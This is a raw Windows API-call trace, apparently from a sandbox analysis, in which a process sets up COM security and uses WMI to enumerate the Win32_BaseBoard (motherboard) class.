	[0123.568] IUnknown:QueryInterface (in: This=0x78b1d0, riid=0x2de0a8*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de0a4 | out: ppvObject=0x2de0a4*=0x78b1d0) returned 0x0
	[0123.568] IUnknown:Release (This=0x78b1d0) returned 0x2
	[0123.568] IUnknown:AddRef (This=0x78b1d0) returned 0x3
	[0123.568] BindMoniker (in: pmk=0x78b1d0, grfOpt=0x0, iidResult=0x254e494*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x2de47c | out: ppvResult=0x2de47c*=0x50ac878) returned 0x0
	[0123.568] IUnknown:QueryInterface (in: This=0x50ac878, riid=0x254e494*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de47c | out: ppvObject=0x2de47c*=0x50ac878) returned 0x0
	[0123.580] LoadRegTypeLib (in: rguid=0x751e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x2ddba4*=0x0 | out: pptlib=0x2ddba4*=0x794998) returned 0x0
	[0123.606] ITypeLib:GetTypeInfoOfGuid (in: This=0x794998, guid=0x50ac8bc, ppTInfo=0x50ac8a4 | out: ppTInfo=0x50ac8a4*=0x7964ec) returned 0x0
	[0123.606] IUnknown:Release (This=0x794998) returned 0x1
	[0123.606] IUnknown:AddRef (This=0x7964ec) returned 0x2
	[0123.607] ITypeInfo:RemoteGetTypeAttr (in: This=0x7964ec, ppTypeAttr=0x2ddbe8, pDummy=0x5fd2bb0a | out: ppTypeAttr=0x2ddbe8, pDummy=0x5fd2bb0a) returned 0x0
	[0123.608] ITypeInfo:LocalReleaseTypeAttr (This=0x7964ec) returned 0x78bab8
	[0123.609] IUnknown:Release (This=0x7964ec) returned 0x1
	[0123.609] CoGetContextToken (in: pToken=0x2ddb74 | out: pToken=0x2ddb74) returned 0x0
	[0123.609] CoGetContextToken (in: pToken=0x2ddb38 | out: pToken=0x2ddb38) returned 0x0
	[0123.609] IUnknown:QueryInterface (in: This=0x757918, riid=0x6f1b3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddb6c | out: ppvObject=0x2ddb6c*=0x757924) returned 0x0
	[0123.609] IComThreadingInfo:GetCurrentApartmentType (in: This=0x757924, pAptType=0x2ddb9c | out: pAptType=0x2ddb9c*=3) returned 0x0
	[0123.609] IUnknown:Release (This=0x757924) returned 0x1
	[0123.609] CoGetContextToken (in: pToken=0x2ddb6c | out: pToken=0x2ddb6c) returned 0x0
	[0123.610] IUnknown:Release (This=0x78b1d0) returned 0x2
	[0123.621] CoGetContextToken (in: pToken=0x2de0a8 | out: pToken=0x2de0a8) returned 0x0
	[0123.622] LoadRegTypeLib (in: rguid=0x751e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x2de0a4*=0x0 | out: pptlib=0x2de0a4*=0x794998) returned 0x0
	[0123.624] ITypeLib:GetTypeInfoOfGuid (in: This=0x794998, guid=0x50ac8ac, ppTInfo=0x50ac8a0 | out: ppTInfo=0x50ac8a0*=0x796518) returned 0x0
	[0123.624] IUnknown:Release (This=0x794998) returned 0x2
	[0123.624] IUnknown:AddRef (This=0x796518) returned 0x2
	[0123.624] DispGetIDsOfNames (in: ptinfo=0x796518, rgszNames=0x2de100*="InstancesOf", cNames=0x1, rgdispid=0x2de0f0 | out: rgdispid=0x2de0f0*=5) returned 0x0
	[0123.626] IUnknown:Release (This=0x796518) returned 0x1
	[0123.626] IUnknown:AddRef (This=0x796518) returned 0x2
	[0123.627] ITypeInfo:LocalInvoke (This=0x796518) returned 0x0
	[0123.627] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0123.627] GetCurrentThreadId () returned 0xa14
	[0123.627] IUnknown:AddRef (This=0x50ad2e4) returned 0x3
	[0123.627] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0123.627] GetCurrentThreadId () returned 0xa14
	[0123.627] IWbemServices:CreateInstanceEnum (in: This=0x50ad2e4, strFilter="Win32_BaseBoard", lFlags=16, pCtx=0x0, ppEnum=0x2ddd4c | out: ppEnum=0x2ddd4c*=0x50a08dc) returned 0x0
	[0123.633] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0918
	[0123.633] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0978
	[0123.633] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ad358
	[0123.633] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ac988
	[0123.633] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ad3b8
	[0123.633] IUnknown:QueryInterface (in: This=0x50a08dc, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddc64 | out: ppvObject=0x2ddc64*=0x50a08e0) returned 0x0
	[0123.633] IClientSecurity:QueryBlanket (in: This=0x50a08e0, pProxy=0x50a08dc, pAuthnSvc=0x2ddc54, pAuthzSvc=0x2ddc58, pServerPrincName=0x0, pAuthnLevel=0x2ddc80, pImpLevel=0x2ddc7c, pAuthInfo=0x0, pCapabilites=0x2ddc6c | out: pAuthnSvc=0x2ddc54*=0xa, pAuthzSvc=0x2ddc58*=0x0, pServerPrincName=0x0, pAuthnLevel=0x2ddc80*=0x6, pImpLevel=0x2ddc7c*=0x2, pAuthInfo=0x0, pCapabilites=0x2ddc6c*=0x1) returned 0x0
	[0123.633] IUnknown:Release (This=0x50a08e0) returned 0x1
	[0123.633] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0123.633] GetCurrentThreadId () returned 0xa14
	[0123.633] IUnknown:QueryInterface (in: This=0x50ad2e4, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddc48 | out: ppvObject=0x2ddc48*=0x78dedc) returned 0x0
	[0123.634] IClientSecurity:QueryBlanket (in: This=0x78dedc, pProxy=0x50ad2e4, pAuthnSvc=0x2ddc38, pAuthzSvc=0x2ddc3c, pServerPrincName=0x0, pAuthnLevel=0x2ddc68, pImpLevel=0x2ddc6c, pAuthInfo=0x0, pCapabilites=0x2ddc50 | out: pAuthnSvc=0x2ddc38*=0xa, pAuthzSvc=0x2ddc3c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x2ddc68*=0x6, pImpLevel=0x2ddc6c*=0x3, pAuthInfo=0x0, pCapabilites=0x2ddc50*=0x20) returned 0x0
	[0123.634] IUnknown:Release (This=0x78dedc) returned 0x3
	[0123.634] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0123.634] GetCurrentThreadId () returned 0xa14
	[0123.634] IUnknown:QueryInterface (in: This=0x50ad2e4, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddc48 | out: ppvObject=0x2ddc48*=0x78dedc) returned 0x0
	[0123.634] IClientSecurity:QueryBlanket (in: This=0x78dedc, pProxy=0x50ad2e4, pAuthnSvc=0x2ddc38, pAuthzSvc=0x2ddc3c, pServerPrincName=0x0, pAuthnLevel=0x2ddc6c, pImpLevel=0x2ddc68, pAuthInfo=0x0, pCapabilites=0x2ddc50 | out: pAuthnSvc=0x2ddc38*=0xa, pAuthzSvc=0x2ddc3c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x2ddc6c*=0x6, pImpLevel=0x2ddc68*=0x3, pAuthInfo=0x0, pCapabilites=0x2ddc50*=0x20) returned 0x0
	[0123.634] IUnknown:Release (This=0x78dedc) returned 0x3
	[0123.634] IUnknown:QueryInterface (in: This=0x50a08dc, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddc94 | out: ppvObject=0x2ddc94*=0x50a08e0) returned 0x0
	[0123.634] IClientSecurity:CopyProxy (in: This=0x50a08e0, pProxy=0x50a08dc, ppCopy=0x2ddc98 | out: ppCopy=0x2ddc98*=0x50ad4fc) returned 0x0
	[0123.634] IUnknown:QueryInterface (in: This=0x50ad4fc, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddbb0 | out: ppvObject=0x2ddbb0*=0x50ad500) returned 0x0
	[0123.634] IClientSecurity:QueryBlanket (in: This=0x50ad500, pProxy=0x50ad4fc, pAuthnSvc=0x2ddbd4, pAuthzSvc=0x2ddbc4, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x2ddbd4*=0xa, pAuthzSvc=0x2ddbc4*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0
	[0123.634] IUnknown:Release (This=0x50ad500) returned 0x3
	[0123.634] IUnknown:QueryInterface (in: This=0x50ad4fc, riid=0x751e34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddb88 | out: ppvObject=0x2ddb88*=0x797974) returned 0x0
	[0123.634] IUnknown:QueryInterface (in: This=0x50ad4fc, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddb8c | out: ppvObject=0x2ddb8c*=0x50ad500) returned 0x0
	[0123.634] IClientSecurity:SetBlanket (This=0x50ad500, pProxy=0x50ad4fc, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0123.637] IUnknown:Release (This=0x50ad500) returned 0x4
	[0123.637] IUnknown:Release (This=0x797974) returned 0x3
	[0123.637] IUnknown:Release (This=0x50a08e0) returned 0x2
	[0123.637] IUnknown:AddRef (This=0x50ad4fc) returned 0x3
	[0123.637] IUnknown:Release (This=0x50a08dc) returned 0x2
	[0123.637] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x2ddd04 | out: pperrinfo=0x2ddd04*=0x0) returned 0x1
	[0123.638] IUnknown:Release (This=0x50ad2e4) returned 0x2
	[0123.638] IUnknown:Release (This=0x796518) returned 0x1
	[0123.640] LoadRegTypeLib (in: rguid=0x751e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x2dd9a0*=0x0 | out: pptlib=0x2dd9a0*=0x794998) returned 0x0
	[0123.641] ITypeLib:GetTypeInfoOfGuid (in: This=0x794998, guid=0x50a0950, ppTInfo=0x50a0938 | out: ppTInfo=0x50a0938*=0x796620) returned 0x0
	[0123.642] IUnknown:Release (This=0x794998) returned 0x3
	[0123.642] IUnknown:AddRef (This=0x796620) returned 0x2
	[0123.642] ITypeInfo:RemoteGetTypeAttr (in: This=0x796620, ppTypeAttr=0x2dd9e4, pDummy=0x5fd2b906 | out: ppTypeAttr=0x2dd9e4, pDummy=0x5fd2b906) returned 0x0
	[0123.642] ITypeInfo:LocalReleaseTypeAttr (This=0x796620) returned 0x78bab8
	[0123.642] IUnknown:Release (This=0x796620) returned 0x1
	[0123.642] CoGetContextToken (in: pToken=0x2dd970 | out: pToken=0x2dd970) returned 0x0
	[0123.642] CoGetContextToken (in: pToken=0x2dd934 | out: pToken=0x2dd934) returned 0x0
	[0123.642] IUnknown:QueryInterface (in: This=0x757918, riid=0x6f1b3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd968 | out: ppvObject=0x2dd968*=0x757924) returned 0x0
	[0123.643] IComThreadingInfo:GetCurrentApartmentType (in: This=0x757924, pAptType=0x2dd998 | out: pAptType=0x2dd998*=3) returned 0x0
	[0123.643] IUnknown:Release (This=0x757924) returned 0x1
	[0123.643] CoGetContextToken (in: pToken=0x2dd968 | out: pToken=0x2dd968) returned 0x0
	[0123.643] CoGetContextToken (in: pToken=0x2de334 | out: pToken=0x2de334) returned 0x0
	[0123.643] CoGetContextToken (in: pToken=0x2de2f4 | out: pToken=0x2de2f4) returned 0x0
	[0123.644] CoGetContextToken (in: pToken=0x2de37c | out: pToken=0x2de37c) returned 0x0
	[0123.644] LoadRegTypeLib (in: rguid=0x751e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x400, pptlib=0x2de37c*=0x0 | out: pptlib=0x2de37c*=0x794998) returned 0x0
	[0123.648] ITypeLib:GetTypeInfoOfGuid (in: This=0x794998, guid=0x50a0940, ppTInfo=0x50a0934 | out: ppTInfo=0x50a0934*=0x7965c8) returned 0x0
	[0123.648] IUnknown:Release (This=0x794998) returned 0x4
	[0123.649] IUnknown:AddRef (This=0x7965c8) returned 0x2
	[0123.649] ITypeInfo:LocalInvoke (This=0x7965c8) returned 0x0
	[0123.649] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0123.649] GetCurrentThreadId () returned 0xa14
	[0123.649] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0810
	[0123.649] IUnknown:Release (This=0x7965c8) returned 0x1
	[0123.649] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0124.131] CoGetContextToken (in: pToken=0x2de23c | out: pToken=0x2de23c) returned 0x0
	[0124.139] CoGetContextToken (in: pToken=0x2dde68 | out: pToken=0x2dde68) returned 0x0
	[0124.139] IUnknown:AddRef (This=0x7965c8) returned 0x2
	[0124.139] ITypeInfo:LocalInvoke (This=0x7965c8) returned 0x0
	[0124.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0124.139] GetCurrentThreadId () returned 0xa14
	[0124.139] IUnknown:AddRef (This=0x50ad4fc) returned 0x3
	[0124.140] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0124.140] GetCurrentThreadId () returned 0xa14
	[0124.140] IEnumWbemClassObject:Clone (in: This=0x50ad4fc, ppEnum=0x2dde58 | out: ppEnum=0x2dde58*=0x50ad5c4) returned 0x0
	[0124.142] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ad600
	[0124.143] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ad660
	[0124.143] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ad6c0
	[0124.143] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ac968
	[0124.143] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ad720
	[0124.143] IUnknown:QueryInterface (in: This=0x50ad5c4, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddd70 | out: ppvObject=0x2ddd70*=0x50ad5c8) returned 0x0
	[0124.143] IClientSecurity:QueryBlanket (in: This=0x50ad5c8, pProxy=0x50ad5c4, pAuthnSvc=0x2ddd60, pAuthzSvc=0x2ddd64, pServerPrincName=0x0, pAuthnLevel=0x2ddd8c, pImpLevel=0x2ddd88, pAuthInfo=0x0, pCapabilites=0x2ddd78 | out: pAuthnSvc=0x2ddd60*=0xa, pAuthzSvc=0x2ddd64*=0x0, pServerPrincName=0x0, pAuthnLevel=0x2ddd8c*=0x6, pImpLevel=0x2ddd88*=0x2, pAuthInfo=0x0, pCapabilites=0x2ddd78*=0x1) returned 0x0
	[0124.143] IUnknown:Release (This=0x50ad5c8) returned 0x1
	[0124.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0124.143] GetCurrentThreadId () returned 0xa14
	[0124.143] IUnknown:QueryInterface (in: This=0x50ad4fc, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddd54 | out: ppvObject=0x2ddd54*=0x50ad500) returned 0x0
	[0124.144] IClientSecurity:QueryBlanket (in: This=0x50ad500, pProxy=0x50ad4fc, pAuthnSvc=0x2ddd44, pAuthzSvc=0x2ddd48, pServerPrincName=0x0, pAuthnLevel=0x2ddd74, pImpLevel=0x2ddd78, pAuthInfo=0x0, pCapabilites=0x2ddd5c | out: pAuthnSvc=0x2ddd44*=0xa, pAuthzSvc=0x2ddd48*=0x0, pServerPrincName=0x0, pAuthnLevel=0x2ddd74*=0x6, pImpLevel=0x2ddd78*=0x3, pAuthInfo=0x0, pCapabilites=0x2ddd5c*=0x20) returned 0x0
	[0124.144] IUnknown:Release (This=0x50ad500) returned 0x3
	[0124.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0124.144] GetCurrentThreadId () returned 0xa14
	[0124.144] IUnknown:QueryInterface (in: This=0x50ad4fc, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddd54 | out: ppvObject=0x2ddd54*=0x50ad500) returned 0x0
	[0124.144] IClientSecurity:QueryBlanket (in: This=0x50ad500, pProxy=0x50ad4fc, pAuthnSvc=0x2ddd44, pAuthzSvc=0x2ddd48, pServerPrincName=0x0, pAuthnLevel=0x2ddd78, pImpLevel=0x2ddd74, pAuthInfo=0x0, pCapabilites=0x2ddd5c | out: pAuthnSvc=0x2ddd44*=0xa, pAuthzSvc=0x2ddd48*=0x0, pServerPrincName=0x0, pAuthnLevel=0x2ddd78*=0x6, pImpLevel=0x2ddd74*=0x3, pAuthInfo=0x0, pCapabilites=0x2ddd5c*=0x20) returned 0x0
	[0124.144] IUnknown:Release (This=0x50ad500) returned 0x3
	[0124.144] IUnknown:QueryInterface (in: This=0x50ad5c4, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddda0 | out: ppvObject=0x2ddda0*=0x50ad5c8) returned 0x0
	[0124.144] IClientSecurity:CopyProxy (in: This=0x50ad5c8, pProxy=0x50ad5c4, ppCopy=0x2ddda4 | out: ppCopy=0x2ddda4*=0x50ad864) returned 0x0
	[0124.144] IUnknown:QueryInterface (in: This=0x50ad864, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddcbc | out: ppvObject=0x2ddcbc*=0x50ad868) returned 0x0
	[0124.144] IClientSecurity:QueryBlanket (in: This=0x50ad868, pProxy=0x50ad864, pAuthnSvc=0x2ddce0, pAuthzSvc=0x2ddcd0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x2ddce0*=0xa, pAuthzSvc=0x2ddcd0*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0
	[0124.144] IUnknown:Release (This=0x50ad868) returned 0x3
	[0124.144] IUnknown:QueryInterface (in: This=0x50ad864, riid=0x751e34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddc94 | out: ppvObject=0x2ddc94*=0x79c4cc) returned 0x0
	[0124.144] IUnknown:QueryInterface (in: This=0x50ad864, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddc98 | out: ppvObject=0x2ddc98*=0x50ad868) returned 0x0
	[0124.144] IClientSecurity:SetBlanket (This=0x50ad868, pProxy=0x50ad864, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0124.151] IUnknown:Release (This=0x50ad868) returned 0x4
	[0124.152] IUnknown:Release (This=0x79c4cc) returned 0x3
	[0124.152] IUnknown:Release (This=0x50ad5c8) returned 0x2
	[0124.152] IUnknown:AddRef (This=0x50ad864) returned 0x3
	[0124.152] IUnknown:Release (This=0x50ad5c4) returned 0x2
	[0124.152] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x2dde10 | out: pperrinfo=0x2dde10*=0x0) returned 0x1
	[0124.152] IUnknown:Release (This=0x50ad4fc) returned 0x2
	[0124.152] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0124.152] GetCurrentThreadId () returned 0xa14
	[0124.152] IUnknown:AddRef (This=0x50ad864) returned 0x3
	[0124.152] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0124.152] GetCurrentThreadId () returned 0xa14
	[0124.152] IEnumWbemClassObject:Reset (This=0x50ad864) returned 0x0
	[0124.178] IUnknown:Release (This=0x50ad864) returned 0x2
	[0124.178] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a0810
	[0124.179] IUnknown:Release (This=0x7965c8) returned 0x1
	[0124.180] CoGetContextToken (in: pToken=0x2dd8d0 | out: pToken=0x2dd8d0) returned 0x0
	[0124.180] CoGetContextToken (in: pToken=0x2dd894 | out: pToken=0x2dd894) returned 0x0
	[0124.180] IUnknown:QueryInterface (in: This=0x757918, riid=0x6f1b3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd8c8 | out: ppvObject=0x2dd8c8*=0x757924) returned 0x0
	[0124.180] IComThreadingInfo:GetCurrentApartmentType (in: This=0x757924, pAptType=0x2dd8f8 | out: pAptType=0x2dd8f8*=3) returned 0x0
	[0124.180] IUnknown:Release (This=0x757924) returned 0x1
	[0124.180] CoGetContextToken (in: pToken=0x2dd8c8 | out: pToken=0x2dd8c8) returned 0x0
	[0124.182] CoGetContextToken (in: pToken=0x2de37c | out: pToken=0x2de37c) returned 0x0
	[0124.182] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0124.182] GetCurrentThreadId () returned 0xa14
	[0124.183] IUnknown:AddRef (This=0x50ad864) returned 0x3
	[0124.183] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0124.183] GetCurrentThreadId () returned 0xa14
	[0124.183] IEnumWbemClassObject:Next (in: This=0x50ad864, lTimeout=-1, uCount=0x1, apObjects=0x2de4b4, puReturned=0x2de4ac | out: apObjects=0x2de4b4*=0x50ad8a0, puReturned=0x2de4ac*=0x1) returned 0x0
	[0124.267] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ac8e8
	[0124.267] IUnknown:AddRef (This=0x50ad8a0) returned 0x2
	[0124.267] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50afbb8
	[0124.267] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50afc28
	[0124.267] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50afc88
	[0124.267] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ac9a8
	[0124.267] IUnknown:AddRef (This=0x50ad2e4) returned 0x3
	[0124.268] IUnknown:AddRef (This=0x50ad864) returned 0x4
	[0124.268] IUnknown:QueryInterface (in: This=0x50ad864, riid=0x751e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de414 | out: ppvObject=0x2de414*=0x50ad868) returned 0x0
	[0124.268] IClientSecurity:QueryBlanket (in: This=0x50ad868, pProxy=0x50ad864, pAuthnSvc=0x2de404, pAuthzSvc=0x2de408, pServerPrincName=0x0, pAuthnLevel=0x2de424, pImpLevel=0x2de430, pAuthInfo=0x0, pCapabilites=0x2de41c | out: pAuthnSvc=0x2de404*=0xa, pAuthzSvc=0x2de408*=0x0, pServerPrincName=0x0, pAuthnLevel=0x2de424*=0x6, pImpLevel=0x2de430*=0x3, pAuthInfo=0x0, pCapabilites=0x2de41c*=0x20) returned 0x0
	[0124.268] IUnknown:Release (This=0x50ad868) returned 0x4
	[0124.268] IUnknown:Release (This=0x50ad2e4) returned 0x2
	[0124.268] IUnknown:AddRef (This=0x50ad2e4) returned 0x3
	[0124.268] IUnknown:Release (This=0x50ad864) returned 0x3
	[0124.268] SysStringLen (param_1="\\\\.\\root\\cimv2") returned 0xe
	[0124.268] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50abd28
	[0124.268] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50ac9c8
	[0124.268] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50a09d8
	[0124.268] IUnknown:AddRef (This=0x50ad8a0) returned 0x3
	[0124.268] IUnknown:Release (This=0x50ad8a0) returned 0x2
	[0124.268] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x2de468 | out: pperrinfo=0x2de468*=0x0) returned 0x1
	[0124.268] IUnknown:Release (This=0x50ad864) returned 0x2
	[0124.268] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x2de4ac | out: pperrinfo=0x2de4ac*=0x0) returned 0x1
	[0124.296] LoadRegTypeLib (in: rguid=0x751e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x2ddd1c*=0x0 | out: pptlib=0x2ddd1c*=0x794998) returned 0x0
	[0124.299] ITypeLib:GetTypeInfoOfGuid (in: This=0x794998, guid=0x751f70c4, ppTInfo=0x50abd44 | out: ppTInfo=0x50abd44*=0x79664c) returned 0x0
	[0124.299] IUnknown:Release (This=0x794998) returned 0x5
	[0124.299] IUnknown:AddRef (This=0x79664c) returned 0x2
	[0124.299] ITypeInfo:RemoteGetTypeAttr (in: This=0x79664c, ppTypeAttr=0x2ddd70, pDummy=0x5fd2bd72 | out: ppTypeAttr=0x2ddd70, pDummy=0x5fd2bd72) returned 0x0
	[0124.299] ITypeInfo:LocalReleaseTypeAttr (This=0x79664c) returned 0x78bab8
	[0124.300] IUnknown:Release (This=0x79664c) returned 0x1
	[0124.300] CoGetContextToken (in: pToken=0x2ddcfc | out: pToken=0x2ddcfc) returned 0x0
	[0124.300] CoGetContextToken (in: pToken=0x2ddcc0 | out: pToken=0x2ddcc0) returned 0x0
